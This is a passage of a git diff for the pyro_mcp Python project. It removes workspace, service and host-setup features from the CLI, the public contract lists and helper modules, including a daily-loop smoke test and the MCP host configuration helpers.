else: - _print_workspace_service_list_human(payload) - return - if args.workspace_service_command == "status": - try: - payload = pyro.status_service(args.workspace_id, args.service_name) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_service_summary_human( - payload, - prefix="workspace-service-status", - ) - return - if args.workspace_service_command == "logs": - try: - payload = pyro.logs_service( - args.workspace_id, - args.service_name, - tail_lines=args.tail_lines, - all=bool(args.all), - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_service_logs_human(payload) - return - if args.workspace_service_command == "stop": - try: - payload = pyro.stop_service(args.workspace_id, args.service_name) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_workspace_service_summary_human( - payload, - prefix="workspace-service-stop", - ) - return - if args.workspace_command == "status": - payload = pyro.status_workspace(args.workspace_id) - if bool(args.json): - _print_json(payload) - else: - _print_workspace_summary_human(payload, action="Workspace") - return - if args.workspace_command == "summary": - payload = pyro.summarize_workspace(args.workspace_id) - if bool(args.json): - _print_json(payload) - else: - _print_workspace_review_summary_human(payload) - return - if args.workspace_command == "logs": - payload = pyro.logs_workspace(args.workspace_id) - if bool(args.json): - _print_json(payload) - else: - _print_workspace_logs_human(payload) - return - if args.workspace_command == "delete": - payload = pyro.delete_workspace(args.workspace_id) - if bool(args.json): - _print_json(payload) - else: - print(f"Deleted workspace: {str(payload.get('workspace_id', 'unknown'))}") - return if args.command == "doctor": - try: - payload = doctor_report( - platform=args.platform, - environment=args.environment, - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc - if bool(args.json): - _print_json(payload) - else: - _print_doctor_human(payload) + _print_json(doctor_report(platform=args.platform)) return if args.command == "demo" and args.demo_command == "ollama": try: @@ -3674,7 +137,3 @@ def main() -> None: return result = run_demo(network=bool(args.network)) _print_json(result) - - -if __name__ == "__main__": - main() diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index a7b2ba1..f7a533d 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -2,215 +2,35 @@ from __future__ import annotations -PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "host", "mcp", "prepare", "run", "workspace") +PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "mcp", "run") PUBLIC_CLI_DEMO_SUBCOMMANDS = ("ollama",) PUBLIC_CLI_ENV_SUBCOMMANDS = ("inspect", "list", "pull", "prune") -PUBLIC_CLI_DOCTOR_FLAGS = ("--platform", "--environment", "--json") -PUBLIC_CLI_HOST_SUBCOMMANDS = ("connect", "doctor", "print-config", "repair") -PUBLIC_CLI_HOST_COMMON_FLAGS = ( - "--installed-package", - "--mode", - "--profile", - "--project-path", - "--repo-url", - "--repo-ref", - "--no-project-source", -) -PUBLIC_CLI_HOST_CONNECT_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS -PUBLIC_CLI_HOST_DOCTOR_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS + ("--config-path",) -PUBLIC_CLI_HOST_PRINT_CONFIG_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS + ("--output",) -PUBLIC_CLI_HOST_REPAIR_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS + ("--config-path",) -PUBLIC_CLI_MCP_SUBCOMMANDS = ("serve",) -PUBLIC_CLI_MCP_SERVE_FLAGS = ( - "--mode", - "--profile", - "--project-path", - "--repo-url", - "--repo-ref", - "--no-project-source", -) -PUBLIC_CLI_PREPARE_FLAGS = ("--network", "--force", "--json") -PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = ( - "create", - "delete", - "disk", - "diff", - "exec", - "export", - "file", - "list", - "logs", - "patch", - "reset", - "service", - "shell", - "snapshot", - "start", - "status", - "stop", - "summary", - "sync", - "update", -) -PUBLIC_CLI_WORKSPACE_DISK_SUBCOMMANDS = ("export", "list", "read") -PUBLIC_CLI_WORKSPACE_FILE_SUBCOMMANDS = ("list", "read", "write") -PUBLIC_CLI_WORKSPACE_PATCH_SUBCOMMANDS = ("apply",) -PUBLIC_CLI_WORKSPACE_SERVICE_SUBCOMMANDS = ("list", "logs", "start", "status", "stop") -PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS = ("close", "open", "read", "signal", "write") -PUBLIC_CLI_WORKSPACE_SNAPSHOT_SUBCOMMANDS = ("create", "delete", "list") -PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS = ("push",) -PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( - "--vcpu-count", - "--mem-mib", - "--ttl-seconds", - "--network-policy", - "--allow-host-compat", - "--seed-path", - "--name", - "--label", - "--secret", - "--secret-file", - "--json", - "--id-only", -) -PUBLIC_CLI_WORKSPACE_DISK_EXPORT_FLAGS = ("--output", "--json") -PUBLIC_CLI_WORKSPACE_DISK_LIST_FLAGS = ("--recursive", "--json") -PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS = ("--max-bytes", "--content-only", "--json") -PUBLIC_CLI_WORKSPACE_EXEC_FLAGS = ("--timeout-seconds", "--secret-env", "--json") -PUBLIC_CLI_WORKSPACE_DIFF_FLAGS = ("--json",) -PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS = ("--output", "--json") -PUBLIC_CLI_WORKSPACE_FILE_LIST_FLAGS = ("--recursive", "--json") -PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS = ("--max-bytes", "--content-only", "--json") -PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS = ("--text", "--text-file", "--json") -PUBLIC_CLI_WORKSPACE_LIST_FLAGS = ("--json",) -PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS = ("--patch", "--patch-file", "--json") -PUBLIC_CLI_WORKSPACE_RESET_FLAGS = ("--snapshot", "--json") -PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS = ("--json",) -PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS = ("--tail-lines", "--all", "--json") -PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS = ( - "--cwd", - "--ready-file", - "--ready-tcp", - "--ready-http", - "--ready-command", - "--ready-timeout-seconds", - "--ready-interval-ms", - "--secret-env", - "--publish", - "--json", -) -PUBLIC_CLI_WORKSPACE_SERVICE_STATUS_FLAGS = ("--json",) -PUBLIC_CLI_WORKSPACE_SERVICE_STOP_FLAGS = ("--json",) -PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS = ( - "--cwd", - "--cols", - "--rows", - "--secret-env", - "--json", - "--id-only", -) -PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS = ( - "--cursor", - "--max-chars", - "--plain", - "--wait-for-idle-ms", - "--json", -) -PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS = ("--input", "--no-newline", "--json") -PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS = ("--signal", "--json") -PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS = ("--json",) -PUBLIC_CLI_WORKSPACE_SNAPSHOT_CREATE_FLAGS = ("--json",) -PUBLIC_CLI_WORKSPACE_SNAPSHOT_DELETE_FLAGS = ("--json",) -PUBLIC_CLI_WORKSPACE_SNAPSHOT_LIST_FLAGS = ("--json",) -PUBLIC_CLI_WORKSPACE_START_FLAGS = ("--json",) -PUBLIC_CLI_WORKSPACE_STATUS_FLAGS = ("--json",) -PUBLIC_CLI_WORKSPACE_STOP_FLAGS = ("--json",) -PUBLIC_CLI_WORKSPACE_SUMMARY_FLAGS = ("--json",) -PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS = ("--dest", "--json") -PUBLIC_CLI_WORKSPACE_UPDATE_FLAGS = ( - "--name", - "--clear-name", - "--label", - "--clear-label", - "--json", -) PUBLIC_CLI_RUN_FLAGS = ( "--vcpu-count", "--mem-mib", "--timeout-seconds", "--ttl-seconds", "--network", - "--allow-host-compat", - "--json", ) -PUBLIC_MCP_PROFILES = ("vm-run", "workspace-core", "workspace-full") -PUBLIC_MCP_MODES = ("repro-fix", "inspect", "cold-start", "review-eval") PUBLIC_SDK_METHODS = ( - "apply_workspace_patch", - "close_shell", "create_server", - "create_snapshot", "create_vm", - "create_workspace", - "delete_snapshot", "delete_vm", - "delete_workspace", - "diff_workspace", "exec_vm", - "exec_workspace", - "export_workspace", - "export_workspace_disk", "inspect_environment", "list_environments", - "list_services", - "list_snapshots", - "list_workspace_disk", - "list_workspace_files", - "list_workspaces", - "logs_service", - "logs_workspace", "network_info_vm", - "open_shell", "prune_environments", "pull_environment", - "push_workspace_sync", - "read_shell", - "read_workspace_disk", - "read_workspace_file", "reap_expired", - "reset_workspace", "run_in_vm", - "signal_shell", - "start_service", "start_vm", - "start_workspace", - "status_service", "status_vm", - "status_workspace", - "stop_service", "stop_vm", - "stop_workspace", - "summarize_workspace", - "update_workspace", - "write_shell", - "write_workspace_file", ) PUBLIC_MCP_TOOLS = ( - "service_list", - "service_logs", - "service_start", - "service_status", - "service_stop", - "shell_close", - "shell_open", - "shell_read", - "shell_signal", - "shell_write", - "snapshot_create", - "snapshot_delete", - "snapshot_list", "vm_create", "vm_delete", "vm_exec", @@ -221,119 +41,4 @@ PUBLIC_MCP_TOOLS = ( "vm_start", "vm_status", "vm_stop", - "workspace_create", - "workspace_delete", - "workspace_diff", - "workspace_disk_export", - "workspace_disk_list", - "workspace_disk_read", - "workspace_exec", - "workspace_export", - "workspace_file_list", - "workspace_file_read", - "workspace_file_write", - "workspace_list", - "workspace_logs", - "workspace_patch_apply", - "workspace_reset", - "workspace_summary", - "workspace_start", - "workspace_status", - "workspace_stop", - "workspace_sync_push", - "workspace_update", ) -PUBLIC_MCP_VM_RUN_PROFILE_TOOLS = ("vm_run",) -PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS = ( - "vm_run", - "workspace_create", - "workspace_delete", - "workspace_diff", - "workspace_exec", - "workspace_export", - "workspace_file_list", - "workspace_file_read", - "workspace_file_write", - "workspace_list", - "workspace_logs", - "workspace_patch_apply", - "workspace_reset", - "workspace_summary", - "workspace_status", - "workspace_sync_push", - "workspace_update", -) -PUBLIC_MCP_REPRO_FIX_MODE_TOOLS = ( - "workspace_create", - "workspace_delete", - "workspace_diff", - "workspace_exec", - "workspace_export", - "workspace_file_list", - "workspace_file_read", - "workspace_file_write", - "workspace_list", - "workspace_logs", - "workspace_patch_apply", - "workspace_reset", - "workspace_summary", - "workspace_status", - "workspace_sync_push", - "workspace_update", -) -PUBLIC_MCP_INSPECT_MODE_TOOLS = ( - "workspace_create", - "workspace_delete", - "workspace_exec", - "workspace_export", - "workspace_file_list", - "workspace_file_read", - "workspace_list", - "workspace_logs", - "workspace_summary", - "workspace_status", - "workspace_update", -) -PUBLIC_MCP_COLD_START_MODE_TOOLS = ( - "service_list", - "service_logs", - "service_start", - "service_status", - "service_stop", - "workspace_create", - "workspace_delete", - "workspace_exec", - "workspace_export", - "workspace_file_list", - "workspace_file_read", - "workspace_list", - "workspace_logs", - "workspace_reset", - "workspace_summary", - "workspace_status", - "workspace_update", -) -PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS = ( - "shell_close", - "shell_open", - "shell_read", - "shell_signal", - "shell_write", - "snapshot_create", - "snapshot_delete", - "snapshot_list", - "workspace_create", - "workspace_delete", - "workspace_diff", - "workspace_exec", - "workspace_export", - "workspace_file_list", - "workspace_file_read", - "workspace_list", - "workspace_logs", - "workspace_reset", - "workspace_summary", - "workspace_status", - "workspace_update", -) -PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS = PUBLIC_MCP_TOOLS diff --git a/src/pyro_mcp/daily_loop.py b/src/pyro_mcp/daily_loop.py deleted file mode 100644 index 164e1ba..0000000 --- a/src/pyro_mcp/daily_loop.py +++ /dev/null @@ -1,152 +0,0 @@ -"""Machine-level daily-loop warmup state for the CLI prepare flow.""" - -from __future__ import annotations - -import json -from dataclasses import dataclass -from pathlib import Path -from typing import Any, Literal - -DEFAULT_PREPARE_ENVIRONMENT = "debian:12" -PREPARE_MANIFEST_LAYOUT_VERSION = 1 -DailyLoopStatus = Literal["cold", "warm", "stale"] - - -def _environment_key(environment: str) -> str: - return environment.replace("/", "_").replace(":", "_") - - -@dataclass(frozen=True) -class DailyLoopManifest: - """Persisted machine-readiness proof for one environment on one platform.""" - - environment: str - environment_version: str - platform: str - catalog_version: str - bundle_version: str | None - prepared_at: float - network_prepared: bool - last_prepare_duration_ms: int - - def to_payload(self) -> dict[str, Any]: - return { - "layout_version": PREPARE_MANIFEST_LAYOUT_VERSION, - "environment": self.environment, - "environment_version": self.environment_version, - "platform": self.platform, - "catalog_version": self.catalog_version, - "bundle_version": self.bundle_version, - "prepared_at": self.prepared_at, - "network_prepared": self.network_prepared, - "last_prepare_duration_ms": self.last_prepare_duration_ms, - } - - @classmethod - def from_payload(cls, payload: dict[str, Any]) -> "DailyLoopManifest": - return cls( - environment=str(payload["environment"]), - environment_version=str(payload["environment_version"]), - platform=str(payload["platform"]), - catalog_version=str(payload["catalog_version"]), - bundle_version=( - None if payload.get("bundle_version") is None else str(payload["bundle_version"]) - ), - prepared_at=float(payload["prepared_at"]), - network_prepared=bool(payload.get("network_prepared", False)), - last_prepare_duration_ms=int(payload.get("last_prepare_duration_ms", 0)), - ) - - -def prepare_manifest_path(cache_dir: Path, *, platform: str, environment: str) -> Path: - return cache_dir / ".prepare" / platform / f"{_environment_key(environment)}.json" - - -def load_prepare_manifest(path: Path) -> tuple[DailyLoopManifest | None, str | None]: - if not path.exists(): - return None, None - try: - payload = json.loads(path.read_text(encoding="utf-8")) - except (OSError, json.JSONDecodeError) as exc: - return None, f"prepare manifest is unreadable: {exc}" - if not isinstance(payload, dict): - return None, "prepare manifest is not a JSON object" - try: - manifest = DailyLoopManifest.from_payload(payload) - except (KeyError, TypeError, ValueError) as exc: - return None, f"prepare manifest is invalid: {exc}" - return manifest, None - - -def write_prepare_manifest(path: Path, manifest: DailyLoopManifest) -> None: - path.parent.mkdir(parents=True, exist_ok=True) - path.write_text( - json.dumps(manifest.to_payload(), indent=2, sort_keys=True), - encoding="utf-8", - ) - - -def evaluate_daily_loop_status( - *, - environment: str, - environment_version: str, - platform: str, - catalog_version: str, - bundle_version: str | None, - installed: bool, - manifest: DailyLoopManifest | None, - manifest_error: str | None = None, -) -> tuple[DailyLoopStatus, str | None]: - if manifest_error is not None: - return "stale", manifest_error - if manifest is None: - if not installed: - return "cold", "environment is not installed" - return "cold", "daily loop has not been prepared yet" - if not installed: - return "stale", "environment install is missing" - if manifest.environment != environment: - return "stale", "prepare manifest environment does not match the selected environment" - if manifest.environment_version != environment_version: - return "stale", "environment version changed since the last prepare run" - if manifest.platform != platform: - return "stale", "platform changed since the last prepare run" - if manifest.catalog_version != catalog_version: - return "stale", "catalog version changed since the last prepare run" - if manifest.bundle_version != bundle_version: - return "stale", "runtime bundle version changed since the last prepare run" - return "warm", None - - -def prepare_request_is_satisfied( - manifest: DailyLoopManifest | None, - *, - require_network: bool, -) -> bool: - if manifest is None: - return False - if require_network and not manifest.network_prepared: - return False - return True - - -def serialize_daily_loop_report( - *, - environment: str, - status: DailyLoopStatus, - installed: bool, - cache_dir: Path, - manifest_path: Path, - reason: str | None, - manifest: DailyLoopManifest | None, -) -> dict[str, Any]: - return { - "environment": environment, - "status": status, - "installed": installed, - "network_prepared": bool(manifest.network_prepared) if manifest is not None else False, - "prepared_at": None if manifest is None else manifest.prepared_at, - "manifest_path": str(manifest_path), - "reason": reason, - "cache_dir": str(cache_dir), - } diff --git a/src/pyro_mcp/daily_loop_smoke.py b/src/pyro_mcp/daily_loop_smoke.py deleted file mode 100644 index 4cd82c7..0000000 --- a/src/pyro_mcp/daily_loop_smoke.py +++ /dev/null @@ -1,131 +0,0 @@ -"""Real guest-backed smoke for the daily local prepare and reset loop.""" - -from __future__ import annotations - -import argparse -import json -import subprocess -import sys -import tempfile -from pathlib import Path - -from pyro_mcp.api import Pyro -from pyro_mcp.daily_loop import DEFAULT_PREPARE_ENVIRONMENT - - -def _log(message: str) -> None: - print(f"[daily-loop] {message}", flush=True) - - -def _write_text(path: Path, text: str) -> None: - path.parent.mkdir(parents=True, exist_ok=True) - path.write_text(text, encoding="utf-8") - - -def _run_prepare(environment: str) -> dict[str, object]: - proc = subprocess.run( # noqa: S603 - [sys.executable, "-m", "pyro_mcp.cli", "prepare", environment, "--json"], - text=True, - capture_output=True, - check=False, - ) - if proc.returncode != 0: - raise RuntimeError(proc.stderr.strip() or proc.stdout.strip() or "pyro prepare failed") - payload = json.loads(proc.stdout) - if not isinstance(payload, dict): - raise RuntimeError("pyro prepare did not return a JSON object") - return payload - - -def run_daily_loop_smoke(*, environment: str = DEFAULT_PREPARE_ENVIRONMENT) -> None: - _log(f"prepare environment={environment}") - first_prepare = _run_prepare(environment) - assert bool(first_prepare["prepared"]) is True, first_prepare - second_prepare = _run_prepare(environment) - assert bool(second_prepare["reused"]) is True, second_prepare - - pyro = Pyro() - with tempfile.TemporaryDirectory(prefix="pyro-daily-loop-") as temp_dir: - root = Path(temp_dir) - seed_dir = root / "seed" - export_dir = root / "export" - _write_text(seed_dir / "message.txt", "broken\n") - _write_text( - seed_dir / "check.sh", - "#!/bin/sh\n" - "set -eu\n" - "value=$(cat message.txt)\n" - '[ "$value" = "fixed" ] || {\n' - " printf 'expected fixed got %s\\n' \"$value\" >&2\n" - " exit 1\n" - "}\n" - "printf '%s\\n' \"$value\"\n", - ) - - workspace_id: str | None = None - try: - created = pyro.create_workspace( - environment=environment, - seed_path=seed_dir, - name="daily-loop", - labels={"suite": "daily-loop-smoke"}, - ) - workspace_id = str(created["workspace_id"]) - _log(f"workspace_id={workspace_id}") - - failing = pyro.exec_workspace(workspace_id, command="sh check.sh") - assert int(failing["exit_code"]) != 0, failing - - patched = pyro.apply_workspace_patch( - workspace_id, - patch=("--- a/message.txt\n+++ b/message.txt\n@@ -1 +1 @@\n-broken\n+fixed\n"), - ) - assert bool(patched["changed"]) is True, patched - - passing = pyro.exec_workspace(workspace_id, command="sh check.sh") - assert int(passing["exit_code"]) == 0, passing - assert str(passing["stdout"]) == "fixed\n", passing - - export_path = export_dir / "message.txt" - exported = pyro.export_workspace( - workspace_id, - "message.txt", - output_path=export_path, - ) - assert export_path.read_text(encoding="utf-8") == "fixed\n" - assert str(exported["artifact_type"]) == "file", exported - - reset = pyro.reset_workspace(workspace_id) - assert int(reset["reset_count"]) == 1, reset - - rerun = pyro.exec_workspace(workspace_id, command="sh check.sh") - assert int(rerun["exit_code"]) != 0, rerun - reset_read = pyro.read_workspace_file(workspace_id, "message.txt") - assert str(reset_read["content"]) == "broken\n", reset_read - finally: - if workspace_id is not None: - try: - pyro.delete_workspace(workspace_id) - except Exception: - pass - - -def build_arg_parser() -> argparse.ArgumentParser: - parser = argparse.ArgumentParser( - description="Run the real guest-backed daily-loop prepare and reset smoke.", - ) - parser.add_argument( - "--environment", - default=DEFAULT_PREPARE_ENVIRONMENT, - help=f"Environment to warm and test. Defaults to `{DEFAULT_PREPARE_ENVIRONMENT}`.", - ) - return parser - - -def main() -> None: - args = build_arg_parser().parse_args() - run_daily_loop_smoke(environment=args.environment) - - -if __name__ == "__main__": - main() diff --git a/src/pyro_mcp/demo.py b/src/pyro_mcp/demo.py index dcf43b2..fd44816 100644 --- a/src/pyro_mcp/demo.py +++ b/src/pyro_mcp/demo.py @@ -6,7 +6,6 @@ import json from typing import Any from pyro_mcp.api import Pyro -from pyro_mcp.vm_manager import DEFAULT_MEM_MIB, DEFAULT_TTL_SECONDS, DEFAULT_VCPU_COUNT INTERNET_PROBE_COMMAND = ( 'python3 -c "import urllib.request; ' @@ -31,10 +30,10 @@ def run_demo(*, network: bool = False) -> dict[str, Any]: return pyro.run_in_vm( environment="debian:12", command=_demo_command(status), - vcpu_count=DEFAULT_VCPU_COUNT, - mem_mib=DEFAULT_MEM_MIB, + vcpu_count=1, + mem_mib=512, timeout_seconds=30, - ttl_seconds=DEFAULT_TTL_SECONDS, + ttl_seconds=600, network=network, ) diff --git a/src/pyro_mcp/doctor.py b/src/pyro_mcp/doctor.py index 1de3ba3..296fedb 100644 --- a/src/pyro_mcp/doctor.py +++ b/src/pyro_mcp/doctor.py @@ -5,18 +5,16 @@ from __future__ import annotations import argparse import json -from pyro_mcp.daily_loop import DEFAULT_PREPARE_ENVIRONMENT from pyro_mcp.runtime import DEFAULT_PLATFORM, doctor_report def _build_parser() -> argparse.ArgumentParser: parser = argparse.ArgumentParser(description="Inspect bundled runtime health for pyro-mcp.") parser.add_argument("--platform", default=DEFAULT_PLATFORM) - parser.add_argument("--environment", default=DEFAULT_PREPARE_ENVIRONMENT) return parser def main() -> None: args = _build_parser().parse_args() - report = doctor_report(platform=args.platform, environment=args.environment) + report = doctor_report(platform=args.platform) print(json.dumps(report, indent=2, sort_keys=True)) diff --git a/src/pyro_mcp/host_helpers.py b/src/pyro_mcp/host_helpers.py deleted file mode 100644 index dc06654..0000000 --- a/src/pyro_mcp/host_helpers.py +++ /dev/null @@ -1,370 +0,0 @@ -"""Helpers for bootstrapping and repairing supported MCP chat hosts.""" - -from __future__ import annotations - -import json -import shlex -import shutil -import subprocess -from dataclasses import dataclass -from datetime import UTC, datetime -from pathlib import Path -from typing import Literal - -from pyro_mcp.api import McpToolProfile, WorkspaceUseCaseMode - -SUPPORTED_HOST_CONNECT_TARGETS = ("claude-code", "codex") -SUPPORTED_HOST_REPAIR_TARGETS = ("claude-code", "codex", "opencode") -SUPPORTED_HOST_PRINT_CONFIG_TARGETS = ("opencode",) -DEFAULT_HOST_SERVER_NAME = "pyro" -DEFAULT_OPENCODE_CONFIG_PATH = Path.home() / ".config" / "opencode" / "opencode.json" - -HostStatus = Literal["drifted", "missing", "ok", "unavailable"] - - -@dataclass(frozen=True) -class HostServerConfig: - installed_package: bool = False - profile: McpToolProfile = "workspace-core" - mode: WorkspaceUseCaseMode | None = None - project_path: str | None = None - repo_url: str | None = None - repo_ref: str | None = None - no_project_source: bool = False - - -@dataclass(frozen=True) -class HostDoctorEntry: - host: str - installed: bool - configured: bool - status: HostStatus - details: str - repair_command: str - - -def _run_command(command: list[str]) -> subprocess.CompletedProcess[str]: - return subprocess.run( # noqa: S603 - command, - check=False, - capture_output=True, - text=True, - ) - - -def _host_binary(host: str) -> str: - if host == "claude-code": - return "claude" - if host == "codex": - return "codex" - raise ValueError(f"unsupported CLI host {host!r}") - - -def _canonical_server_command(config: HostServerConfig) -> list[str]: - if config.mode is not None and config.profile != "workspace-core": - raise ValueError("--mode and --profile are mutually exclusive") - if config.project_path is not None and config.repo_url is not None: - raise ValueError("--project-path and --repo-url are mutually exclusive") - if config.no_project_source and ( - config.project_path is not None - or config.repo_url is not None - or config.repo_ref is not None - ): - raise ValueError( - "--no-project-source cannot be combined with --project-path, --repo-url, or --repo-ref" - ) - if config.repo_ref is not None and config.repo_url is None: - raise ValueError("--repo-ref requires --repo-url") - - command = ["pyro", "mcp", "serve"] - if not config.installed_package: - command = ["uvx", "--from", "pyro-mcp", *command] - if config.mode is not None: - command.extend(["--mode", config.mode]) - elif config.profile != "workspace-core": - command.extend(["--profile", config.profile]) - if config.project_path is not None: - command.extend(["--project-path", config.project_path]) - elif config.repo_url is not None: - command.extend(["--repo-url", config.repo_url]) - if config.repo_ref is not None: - command.extend(["--repo-ref", config.repo_ref]) - elif config.no_project_source: - command.append("--no-project-source") - return command - - -def _render_cli_command(command: list[str]) -> str: - return shlex.join(command) - - -def _repair_command(host: str, config: HostServerConfig, *, config_path: Path | None = None) -> str: - command = ["pyro", "host", "repair", host] - if config.installed_package: - command.append("--installed-package") - if config.mode is not None: - command.extend(["--mode", config.mode]) - elif config.profile != "workspace-core": - command.extend(["--profile", config.profile]) - if config.project_path is not None: - command.extend(["--project-path", config.project_path]) - elif config.repo_url is not None: - command.extend(["--repo-url", config.repo_url]) - if config.repo_ref is not None: - command.extend(["--repo-ref", config.repo_ref]) - elif config.no_project_source: - command.append("--no-project-source") - if config_path is not None: - command.extend(["--config-path", str(config_path)]) - return _render_cli_command(command) - - -def _command_matches(output: str, expected: list[str]) -> bool: - normalized_output = output.strip() - if ":" in normalized_output: - normalized_output = normalized_output.split(":", 1)[1].strip() - try: - parsed = shlex.split(normalized_output) - except ValueError: - parsed = normalized_output.split() - return parsed == expected - - -def _upsert_opencode_config( - *, - config_path: Path, - config: HostServerConfig, -) -> tuple[dict[str, object], Path | None]: - existing_payload: dict[str, object] = {} - backup_path: Path | None = None - if config_path.exists(): - raw_text = config_path.read_text(encoding="utf-8") - try: - parsed = json.loads(raw_text) - except json.JSONDecodeError: - timestamp = datetime.now(UTC).strftime("%Y%m%d%H%M%S") - backup_path = config_path.with_name(f"{config_path.name}.bak-{timestamp}") - shutil.move(str(config_path), str(backup_path)) - parsed = {} - if isinstance(parsed, dict): - existing_payload = parsed - else: - timestamp = datetime.now(UTC).strftime("%Y%m%d%H%M%S") - backup_path = config_path.with_name(f"{config_path.name}.bak-{timestamp}") - shutil.move(str(config_path), str(backup_path)) - payload = dict(existing_payload) - mcp_payload = payload.get("mcp") - if not isinstance(mcp_payload, dict): - mcp_payload = {} - else: - mcp_payload = dict(mcp_payload) - mcp_payload[DEFAULT_HOST_SERVER_NAME] = canonical_opencode_entry(config) - payload["mcp"] = mcp_payload - return payload, backup_path - - -def canonical_opencode_entry(config: HostServerConfig) -> dict[str, object]: - return { - "type": "local", - "enabled": True, - "command": _canonical_server_command(config), - } - - -def render_opencode_config(config: HostServerConfig) -> str: - return ( - json.dumps( - {"mcp": {DEFAULT_HOST_SERVER_NAME: canonical_opencode_entry(config)}}, - indent=2, - ) - + "\n" - ) - - -def print_or_write_opencode_config( - *, - config: HostServerConfig, - output_path: Path | None = None, -) -> dict[str, object]: - rendered = render_opencode_config(config) - if output_path is None: - return { - "host": "opencode", - "rendered_config": rendered, - "server_command": _canonical_server_command(config), - } - output_path.parent.mkdir(parents=True, exist_ok=True) - output_path.write_text(rendered, encoding="utf-8") - return { - "host": "opencode", - "output_path": str(output_path), - "server_command": _canonical_server_command(config), - } - - -def connect_cli_host(host: str, *, config: HostServerConfig) -> dict[str, object]: - binary = _host_binary(host) - if shutil.which(binary) is None: - raise RuntimeError(f"{binary} CLI is not installed or not on PATH") - server_command = _canonical_server_command(config) - _run_command([binary, "mcp", "remove", DEFAULT_HOST_SERVER_NAME]) - result = _run_command([binary, "mcp", "add", DEFAULT_HOST_SERVER_NAME, "--", *server_command]) - if result.returncode != 0: - details = (result.stderr or result.stdout).strip() or f"{binary} mcp add failed" - raise RuntimeError(details) - return { - "host": host, - "server_command": server_command, - "verification_command": [binary, "mcp", "list"], - } - - -def repair_opencode_host( - *, - config: HostServerConfig, - config_path: Path | None = None, -) -> dict[str, object]: - resolved_path = ( - DEFAULT_OPENCODE_CONFIG_PATH - if config_path is None - else config_path.expanduser().resolve() - ) - resolved_path.parent.mkdir(parents=True, exist_ok=True) - payload, backup_path = _upsert_opencode_config(config_path=resolved_path, config=config) - resolved_path.write_text(json.dumps(payload, indent=2) + "\n", encoding="utf-8") - result: dict[str, object] = { - "host": "opencode", - "config_path": str(resolved_path), - "server_command": _canonical_server_command(config), - } - if backup_path is not None: - result["backup_path"] = str(backup_path) - return result - - -def repair_host( - host: str, - *, - config: HostServerConfig, - config_path: Path | None = None, -) -> dict[str, object]: - if host == "opencode": - return repair_opencode_host(config=config, config_path=config_path) - return connect_cli_host(host, config=config) - - -def _doctor_cli_host(host: str, *, config: HostServerConfig) -> HostDoctorEntry: - binary = _host_binary(host) - repair_command = _repair_command(host, config) - if shutil.which(binary) is None: - return HostDoctorEntry( - host=host, - installed=False, - configured=False, - status="unavailable", - details=f"{binary} CLI was not found on PATH", - repair_command=repair_command, - ) - expected_command = _canonical_server_command(config) - get_result = _run_command([binary, "mcp", "get", DEFAULT_HOST_SERVER_NAME]) - combined_get_output = (get_result.stdout + get_result.stderr).strip() - if get_result.returncode == 0: - status: HostStatus = ( - "ok" if _command_matches(combined_get_output, expected_command) else "drifted" - ) - return HostDoctorEntry( - host=host, - installed=True, - configured=True, - status=status, - details=combined_get_output or f"{binary} MCP entry exists", - repair_command=repair_command, - ) - - list_result = _run_command([binary, "mcp", "list"]) - combined_list_output = (list_result.stdout + list_result.stderr).strip() - configured = DEFAULT_HOST_SERVER_NAME in combined_list_output.split() - return HostDoctorEntry( - host=host, - installed=True, - configured=configured, - status="drifted" if configured else "missing", - details=combined_get_output or combined_list_output or f"{binary} MCP entry missing", - repair_command=repair_command, - ) - - -def _doctor_opencode_host( - *, - config: HostServerConfig, - config_path: Path | None = None, -) -> HostDoctorEntry: - resolved_path = ( - DEFAULT_OPENCODE_CONFIG_PATH - if config_path is None - else config_path.expanduser().resolve() - ) - repair_command = _repair_command("opencode", config, config_path=config_path) - installed = shutil.which("opencode") is not None - if not resolved_path.exists(): - return HostDoctorEntry( - host="opencode", - installed=installed, - configured=False, - status="missing" if installed else "unavailable", - details=f"OpenCode config missing at {resolved_path}", - repair_command=repair_command, - ) - try: - payload = 